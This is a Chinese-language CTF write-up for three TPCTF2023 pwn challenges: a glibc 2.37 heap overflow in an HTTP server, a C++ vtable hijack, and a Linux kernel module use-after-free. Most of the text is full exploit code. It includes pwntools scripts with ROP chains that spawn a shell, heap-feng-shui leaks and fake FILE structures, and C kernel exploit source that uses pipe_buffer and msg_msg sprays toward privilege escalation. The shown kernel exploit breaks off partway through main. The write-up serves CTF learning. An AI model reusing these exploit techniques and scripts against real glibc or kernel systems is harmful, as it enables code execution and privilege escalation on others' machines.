0%

TPCTF2023

safehttpd

1
GNU C Library (Ubuntu GLIBC 2.37-0ubuntu1) stable release version 2.37.
1
2
3
4
5
6
httpd: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eaa5ba1189be005fab91f8b22ca2d02415cb5faa, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

由 setlocale 引发的 sprintf 堆溢出:

1
setlocale(LC_ALL, v3 + 1);
1
2
3
4
5
chunk = (Chunk *)malloc(0x40uLL);
chunk->data = (char *)malloc(size);
memset(chunk->data, 0, size);
chunk->size = size;
sprintf((char *)&chunk->info, "%-8s:%-13s:%-'8d", name, pswd, uid);
  • 本题目 libc 版本为 2.37-0ubuntu1 刚好存在此漏洞

入侵思路

题目有两次泄露的机会,先构造大量的 fast chunk,然后利用 fastbin 合并机制生成一个 unsorted chunk,利用 GET /init 功能不会置空 chunk 的特点可以用于泄露 libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
for i in range(0x20):
register(i,64,str(i))

for i in range(0x1f):
logoff(str(i))

register(1,1024,"1")

payload = "GET /init"
sl(payload)
payload = "Stdout: 3"
sl(payload)
sl("")

seed = lib.time(0)
lib.srand(seed)
pswd = ""

for i in range(13):
num = lib.rand() % 0x100
while(num >= 0x7f or num <= 0x20):
num = lib.rand() % 0x100
print(hex(num))
pswd += chr(num)
success(pswd)

show("root",pswd,1)

ru("Content-type: text/html")
leak_addr = u64(ru("\x7f")[-5:].ljust(8,b"\x00"))+0x7f*0x10000000000
libc_base = leak_addr - 0x1f72d0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

另外利用 passwd="a:0" 可以绕过如下的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall check(char *uid, int a2)
{
unsigned int v3; // [rsp+14h] [rbp-8h]
int i; // [rsp+18h] [rbp-4h]

v3 = 0;
for ( i = 0; i < a2; ++i )
{
if ( uid[i] > 0x2F && uid[i] <= 0x39 )
v3 = 10 * v3 + uid[i] - 0x30;
}
return v3;
}

接下来利用漏洞就可以使 sprintf 造成一字节的堆溢出,覆盖后续指针的末尾一字节为 \x00,进而释放一片正在使用的区域

利用堆风水可以释放一个正在使用的 info chunk(0x51),然后将其申请回来就可以使 new info chunk(0x51) 两次出现在循环链表中

  • 一次源自于覆写 info chunk(0x51) 为 new info chunk(0x51)
  • 另一次则是 new info chunk(0x51) 本身的插链

最后利用 UAF 劫持 tcache,申请并伪造 _IO_list_all 打 house fo cat 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *

arch = 64
challenge = './httpd1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')
lib = cdll.LoadLibrary("libc.so.6")

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./debug/\n"
#b += "b *$rebase(0x353A)\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('122.9.149.82','9999')

def debug():
#gdb.attach(p,"")
gdb.attach(p,"b *$rebase(0x357C)\nb *$rebase(0x353A)\n")
#pause()

def cmd(op):
sla(">",str(op))

def register(uid,len,name,passwd="a"):
payload = "GET /register?uid={}&len={})&username={}&password={}".format(uid,str(len),name,passwd)
sl(payload)
payload = "Stdout: 3"
sl(payload)
sl("")

def logoff(name,passwd="a"):
payload = "GET /logoff?username={}&password={}".format(name,passwd)
sl(payload)
payload = "Stdout: 3"
sl(payload)
sl("")

def show(name,passwd,fd):
payload = "GET /show?username={}&password={}".format(name,passwd)
sl(payload)
payload = "Stdout: "+str(fd)
sl(payload)
sl("")

def setlocale_s(locale_setting):
payload = "GET /setlocale?locale={}".format(locale_setting)
sl(payload)
sl("")

def note(name,passwd,buffer,size):
payload = "POST /note?username={}&password={}".format(name,passwd)
sl(payload)

sleep(0.1)
payload = "Content-Length: "+str(size)
sl(payload)
sl("")

pause()
p.send(buffer)

backdook = 0x2562

for i in range(0x20):
register(i,64,str(i))

for i in range(0x1f):
logoff(str(i))

register(1,1024,"1")

payload = "GET /init"
sl(payload)
payload = "Stdout: 3"
sl(payload)
sl("")

seed = lib.time(0)
lib.srand(seed)
pswd = ""

for i in range(13):
num = lib.rand() % 0x100
while(num >= 0x7f or num <= 0x20):
num = lib.rand() % 0x100
print(hex(num))
pswd += chr(num)
success(pswd)

show("root",pswd,1)

ru("Content-type: text/html")
leak_addr = u64(ru("\x7f")[-5:].ljust(8,b"\x00"))+0x7f*0x10000000000
libc_base = leak_addr - 0x1f72d0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

strlen_got = libc_base + 0x1f6080
remaloc_got = libc_base + 0x1f6010
binsh = libc_base + 0x1b51d2
system = libc_base + libc.sym["system"]
execve = libc_base + libc.sym["execve"]
one_gadgets = [0x4e880,0xe3199,0xe31f3]
one_gadget = libc_base + one_gadgets[2]
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
setcontext=libc_base+libc.sym['setcontext']

success("remaloc_got >> "+hex(remaloc_got))
success("_IO_list_all >> "+hex(_IO_list_all))
success("system >> "+hex(system))

setlocale_s("en_GB.UTF-8")
register(1000,64,"a"*8,passwd="b"*0xd)
register(1000,64,"a"*8,passwd="b"*0xd)
register(1000,256,"a"*8,passwd="b"*0xd)
register(1000,64,"c"*8,passwd="d"*0xd)
register(1000,64,"e"*8,passwd="f"*0xd)

logoff("e"*8,passwd="f"*0xd)
register(1000,16,"a"*8,passwd="b"*0xd)
register(1,64,"yyy",passwd="a:0")

logoff("yyy")
show("yyy","a",2)

ru(b"Content-type: text/html\r\n")
ru(b"\r\n")
leak_addr = u64(p.recv(5).ljust(8,b"\x00"))
heap_base = leak_addr*0x1000-0x2000
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

register(1,64,"yyy",passwd="a:0")
logoff("31")
logoff("yyy")

key = (heap_base+0x2200)>>12
payload = p64(_IO_list_all ^ key)
note("yyy","a",payload,16)

register(1,1024,"e"*8,passwd="a:0")
register(1,64,"yyy",passwd="a:0")

_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]

next_chain = 1
fake_io_addr = heap_base + 0x22b0
payload_addr = heap_base + 0x23c8
flag_addr = heap_base + 0x23c8
socket_addr = heap_base + 0x2538

pop_rax_ret = libc_base + 0x0000000000040123
pop_rdi_ret = libc_base + 0x00000000000240e5
pop_rsi_ret = libc_base + 0x000000000002573e
pop_rdx_ret = libc_base + 0x0000000000026302
syscall_ret = libc_base + 0x00000000000e3559

fake_IO_FILE = b"./flag\x00".ljust(8,b"\x00") #_flags=rdi
fake_IO_FILE += p64(0)*7
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

payload = p64(flag_addr)

payload += p64(pop_rax_ret) + p64(59)
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)

socket_data = p64(0x8108a8c00a1a0002)

note("e"*8,"a",fake_IO_FILE+payload+socket_data,0x400)

payload = p64(fake_io_addr)*8
note("yyy","a",payload,64)
success("setcontext+61 >> "+hex(setcontext+61))
success("execve >> "+hex(execve))
success("libc_base >> "+hex(libc_base))

#debug()
#pause()

payload = "GET /poweroff"
sl(payload)
sl("")

#cat flag 1>&0

p.interactive()

tpgctask

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=964af918201c59dc08c1d903fa0bea90e91e87c9, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,NX

入侵思路

本题目的代码非常复杂,但功能却比较简单,几番尝试就发现了问题:

1
2
3
4
5
6
7
Take_Ruby("a"*0x8)
Take_Rod("b"*0x500)
Fuse_Weapon("c"*0x10)
Drop_Weapon()
Drop_Ruby()
Take_Ruby("d"*0x8)
Fuse_Weapon("e"*0x10)
1
2
3
4
5
6
[Weapon info]:
------------------------------
Ruby: dddddddd
Rod: 0\xd6A\x00\x00\x00\x11\x00\x7f\x00X-A\x00\x00\x00\xc6\xd5\x00\x00\x00\x00\x00\x00\x00ddddddd\x00bbbbbb!\x00\x00\x00\x00\xc5\xd5\x00\x00\x00\xc6\xd5\x00\x00\x00\xc5\xd5\x00\x00\x00\x00\x00\x00\x00\xd6A\x00\x00\x00\x0b\x00\x7f\x00\x98.A\x00\x00\x00\xc6\xd5\x00\x00\x00\x00\x00\x00\x00ddddddd\x00bbbbbb\xb8.A\x00\x00\x00\xc7\xd5\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00bbbbbbb\xc0\xc6\xd5\x00\x00\x00\x00\x00\x00\x00bbbbbbbbbbbbbb\xe0\xc6\xd5\x00\x00\x00\x00\x00\x00\x00ddddddd\x00bbbbbb@\xd0\xd5\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00bbbbbbbbbbbbbbb!\x00\x00\x00\x00#\xd4\x00\x00H#\xd4\x00\x00P\xc6\xd5\x00\x00\x00\x05\x00\x00\x00\xd6A\x00\x00\x00\x11\x00\x7f\x00X-A\x00\x00\x00\xc6\xd5\x00\x00\x00\x00\x00\x00\x00ddddddd\x00bbbbbb!\x00\x00\x00\x00\xc5\xd5\x00\x00\x00\xc6\xd5\x00\x00\x00\xc5\xd5\x00\x00\x00\x00\x00\x00\x00\xd6A\x00\x00\x00\x0b\x00\x7f\x00X-A\x00\x00\x00\xc6\xd5\x00\x00\x00\x00\x00\x00\x00ddddddd\x00bbbbbb\xf8-A\x00\x00\xc7\xd5\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb!\x00\x00\x00\x00#\xd4\x00\x00H#\xd4\x00\x00P\xc6\xd5\x00\x00\x00\x05\x00\x00\x00\x11\xbf3\x7f\x00\x00\x96\xbf3\x7f\x000\xc7\xd5\x00\x00\x00\xc7\xd5\x00\x00\x00bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Fuse: eeeeeeeeeeeeeeee
------------------------------

可以发现:Ruby 的释放和重申请似乎影响了 Rod,可以先用 GDB 定位泄露数据的地址,然后定位可利用数据的位置,泄露 libc_base,heap_base,pro_base:

之后在尝试的过程中发现 Drop_Weapon 会导致 Drop_RodDrop_Ruby 可以再次执行(原本会被程序检查并制止),第二次调用析构函数的过程会导致其虚表发生错误,配合堆风水就可以劫持程序流程

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x40a11b\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

def Take_Ruby(name):
cmd(1)
sla("new owner here:",name)

def Drop_Ruby():
cmd(2)

def Take_Rod(name):
cmd(3)
sla("new owner here:",name)

def Drop_Rod():
cmd(4)

def Fuse_Weapon(name):
cmd(5)
sla("new weapon here",name)

def Drop_Weapon():
cmd(6)

Take_Ruby("a"*0x8)
Take_Rod("b"*0x500)
Fuse_Weapon("c"*0x10)
Drop_Weapon()
Drop_Ruby()
Take_Ruby("d"*0x8)
Fuse_Weapon("e"*0x10)

ru("Rod: ")
leak_addr = u64(p.recv(8).ljust(8,b"\x00"))
pro_base = leak_addr - 0x1e630
success("leak_addr >> "+hex(leak_addr))
leak_addr = u64(p.recv(8).ljust(8,b"\x00"))
success("leak_addr >> "+hex(leak_addr))
leak_addr = u64(p.recv(8).ljust(8,b"\x00"))
success("leak_addr >> "+hex(leak_addr))
leak_addr = u64(p.recv(8).ljust(8,b"\x00"))
heap_base = leak_addr - 0x2c618
success("leak_addr >> "+hex(leak_addr))

ru(p64(0x511))
ru(p64(0x511))
leak_addr = u64(p.recv(8).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ec100

success("pro_base >> "+hex(pro_base))
success("heap_base >> "+hex(heap_base))
success("libc_base >> "+hex(libc_base))

one_gadgets = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + one_gadgets[0]
success("one_gadget >> "+hex(one_gadget))

#debug()
Drop_Ruby()
Take_Ruby(p64(heap_base+0x2ccd8))
Drop_Rod()
Take_Rod(p64(one_gadget))
Fuse_Weapon("e"*0x10)

cmd(6)
cmd(4)

p.interactive()

core

1
2
/ $ cat /proc/version 
Linux version 5.8.0 (vm@vm-pc) (gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #1 SMP Fri May 12 11:14:51 CST 2023
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

qemu-system-x86_64 \
-m 256M \
-nographic \
-no-reboot \
-kernel "./bzImage" \
-append "console=ttyS0 qiet loglevel=3 oops=panic panic=-1 pti=on" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-cpu qemu64,+smep,+smap \
-smp cores=1
  • smap,smep,pti,kaslr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
chown root /root/flag
chgrp root /root/flag
chmod 400 /root/flag

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2

insmod /baby.ko
chmod 666 /dev/baby

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys

poweroff -d 0 -f

漏洞分析

题目的边界检查有问题,全局变量 heap_var.chunk_list[indext] 出现溢出并且可以覆盖 heap_var.use_list[indext]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
index = 0;
while ( 1 )
{
indext = index;
chunkt = heap_var.chunk_list[index];
if ( !chunkt )
break;
if ( (unsigned int)chunkt->key < key )
{
index = 2 * index + 1;
if ( index > 0xF )
goto LABEL_7;
}
else
{
index = 2 * index + 2;
if ( index > 0xF )
goto LABEL_7;
}
}
chunk = (Chunk *)kmem_cache_alloc(kmalloc_caches[6], 0xDC0LL, 0LL); /* kmalloc-64 */
--add_count;
heap_var.use_list[indext] = 1LL;
heap_var.chunk_list[indext] = chunk;
chunk->key = key;

程序通过 heap_var.use_list[indext] 判断 chunk 是否被 free,覆盖这里会导致 UAF

测试 Poc 如下:

1
2
3
4
5
6
add(0x400-0x40); // 0
add(0x400-0x30); // 1
add(0x400-0x20); // 3
add(0x400-0x10); // 7
dele(0);
add(0x400-0x0); // 15
1
2
3
4
5
6
7
8
9
10
11:00880xffffffffc0002480 —▸ 0xffff88800824dac0 ◂— 0x400
12:00900xffffffffc0002488 —▸ 0xffff88800824dcc0 ◂— 0x3d0
13:00980xffffffffc0002490 ◂— 0x0
14:00a0│ 0xffffffffc0002498 —▸ 0xffff88800824dc40 ◂— 0x3e0
15:00a8│ 0xffffffffc00024a0 ◂— 0x0
... ↓ 2 skipped
18:00c0│ 0xffffffffc00024b8 —▸ 0xffff88800824dd00 ◂— 0x3f0
19:00c8│ 0xffffffffc00024c0 ◂— 0x0
... ↓ 6 skipped
20:01000xffffffffc00024f8 —▸ 0xffff88800824dac0 ◂— 0x400

入侵思路

内核模块使用 kmalloc-64,存在 UAF 漏洞但利用有限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while ( 1 )
{
while ( 1 )
{
chunk = heap_var.chunk_list[index];
if ( !chunk )
return 0;
if ( (unsigned int)chunk->key >= size )
break;
index = 2 * index + 1;
if ( index > 0xF )
return 0;
}
if ( (unsigned int)chunk->key <= size )
break;
index = 2 * index + 2;
if ( index > 0xF )
return 0;
}

内核模块会匹配 chunk->key,因此用于占位的内核结构体的前2字节必须已知(当然也可以爆破)

此时 user_key_payload 结构体就是最好的选择:

1
2
3
4
5
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};
  • 在 rcu 锁触发前,user_key_payload->rcu_head 都不会被初始化
1
2
3
4
5
6
7
pwndbg> telescope 0xffff88800828e400
00:0000│ rdi r8 0xffff88800828e400 ◂— 0x400
01:00080xffff88800828e408 ◂— 0x0
02:00100xffff88800828e410 ◂— 0x20 /* ' ' */
03:00180xffff88800828e418 ◂— '22222222222222222222222222222222'
... ↓ 3 skipped
07:00380xffff88800828e438 ◂— 0x0
  • 此时可以通过 UAF 修改 user_key_payload->datalen 来完成泄露

泄露脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
add(0x400-0x40); // 0
add(0x400-0x30); // 1
add(0x400-0x20); // 3
add(0x400-0x10); // 7
dele(0);
add(0x400-0x00); // 15

dele(15);

memset(data, 0x32, sizeof(data));
key_id = key_alloc("11111111", data, 0x20);
if (key_id < 0)
err_exit("key_alloc error");

for (int i = 0; i < PIPE_NUM; i++){
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 1) < 0){
/* 1 * pipe_buffer = 0x30 kmalloc-64 */
err_exit("fcntl");
}
}

for (int i = 0; i < PIPE_NUM; i++){
write(pipe_fd[i][1], "AAAAAAAA", 8); // tag
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "AAAAAAAA", 8);
write(pipe_fd[i][1], "BBBBBBBB", 8);
}

memset(data, 0, sizeof(data));
*(int *)&data[0x0] = 0x400; /* 修改chunk->key */
*(int *)&data[0x10] = 0x400; /* 修改user_key_payload->datalen */
edit(0x400,data);

int res = key_read(key_id, data, 0x400);
print_hex(data,sizeof(data));

index = -1;
for (int i = 0; i < sizeof(data)/8; i++){
if(*(uint64_t *)&data[i*8] >= 0x1800000000 && *(uint64_t *)&data[i*8] <= 0x3800000000){
index = i*8;
break;
}
}
if(index == -1){
err_exit("scan");
}

pipe_page_addr = *(uint64_t *)&data[index-8];
pipe_ops_addr = *(uint64_t *)&data[index+8];
printf("pipe_page_addr: 0x%lx\n",pipe_page_addr);
printf("pipe_ops_addr: 0x%lx\n",pipe_ops_addr);

kernel_offset = pipe_ops_addr - 0xffffffff81a0ec80;
kernel_base = 0xffffffff81000000 + kernel_offset;
printf("kernel_offset: 0x%lx\n",kernel_offset);
printf("kernel_base: 0x%lx\n",kernel_base);

接下来将 pipe_buffer 释放掉,重新填充 msg_msg 并泄露 msg_msg->list_head

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(uint64_t *)&primary_msg.mtext[0] = 0xffffffff81155279 + kernel_offset; // PUSH_RSI_POP_RSP_POP_4VAL_RET
if (write_msg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
err_exit("failed to send primary msg!");

*(uint64_t *)&secondary_msg.mtext[0] = pipe_ops_addr;
if (write_msg(msqid[i], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
err_exit("failed to send secondary msg!");

if(i < PIPE_NUM){
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
}

memset(data, 0, sizeof(data));
*(int *)&data[0x0] = 0x400; /* 修改chunk->key */
*(int *)&data[0x10] = 0x400; /* 修改user_key_payload->datalen */
edit(0x400,data);

res = key_read(key_id, data, 0x400);
print_hex(data,sizeof(data));

index = -1;
for (int i = 0; i < sizeof(data)/8; i++){
if(*(uint64_t *)&data[i*8] == pipe_ops_addr){
index = i*8;
break;
}
}
if(index == -1){
err_exit("scan");
}

msg_addr = *(uint64_t *)&data[index-8*5];
victim_addr = msg_addr + 0x30;
printf("msg_addr: 0x%lx\n",msg_addr);
printf("victim_addr: 0x%lx\n",victim_addr);

最后就可以劫持 pipe_buffer

先释放 user_key_payload 部署 pipe_buffer,由于我们泄露了 msg_msg->list_head,因此我们可以直接将 pipe_buf_operations 伪造在 msg_msg 中(地址已知)

利用 SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 绕过 pti,并提权(由于本题目没有给符号,因此相关地址需要使用 bindiff 进行推测)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <string.h>
#include <sys/prctl.h>

#include "kernelpwn.h"

#define PIPE_NUM 0x20
#define MSG_QUEUE_NUM 0x20
#define PRIMARY_MSG_SIZE 0x100-0x10
#define SECONDARY_MSG_SIZE 0x40-0x10

#define PRIMARY_MSG_TYPE 0x31
#define SECONDARY_MSG_TYPE 0x32

int fd;
struct argg {
size_t key;
size_t key2;
char* data;
size_t c;
};

int add(int key2){
struct argg arg = {.key2 = key2};
return ioctl(fd, 0x1001, &arg);
}

int dele(int index){
struct argg arg = {.key2 = index};
return ioctl(fd, 0x1003, &arg);
}

int edit(int key2,char *data){
struct argg arg = {.key2 = key2, .data = data};
return ioctl(fd, 0x1002, &arg);
}

int func(int key, int key2, char *data){
struct argg arg = {.key = key, .key2 = key2, .data = data};
return ioctl(fd, 0x2333, &arg);
}

struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
}primary_msg;

struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
}secondary_msg;

int main(int argc , char **argv, char **envp)
{
char data[0x400];
int key_id;
int index;
int pipe_fd[PIPE_NUM*10][2];
int msqid[MSG_QUEUE_NUM];
uint64_t pipe_page_addr,pipe_ops_addr;
uint64_t victim_addr,msg_addr;
struct pipe_buffer *pipe_buf_ptr;
struct pipe_buf_operations *ops_ptr;
uint64_t *rop_chain;
int rop_idx;

save_status();
bind_core(0);
unshare_setup();

fd = open("/dev/baby", O_RDWR);
if (fd < 0)
err_exit("open /dev/baby");

for (int i = 0; i < PIPE_NUM; i++){
if (pipe(pipe_fd[i]) < 0)
err_exit("FAILED to spary pipe");
}

for (int i = 0; i < MSG_QUEUE_NUM; i++){
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
err_exit("failed to create msg_queue!");
}

add(0x400-0x40); // 0
add(0x400-0x30); // 1
add(0x400-0x20); // 3
add(0x400-0x10); // 7
dele(0);
add(0x400-0x00); // 15

dele(15);

memset(data, 0x32, sizeof(data));
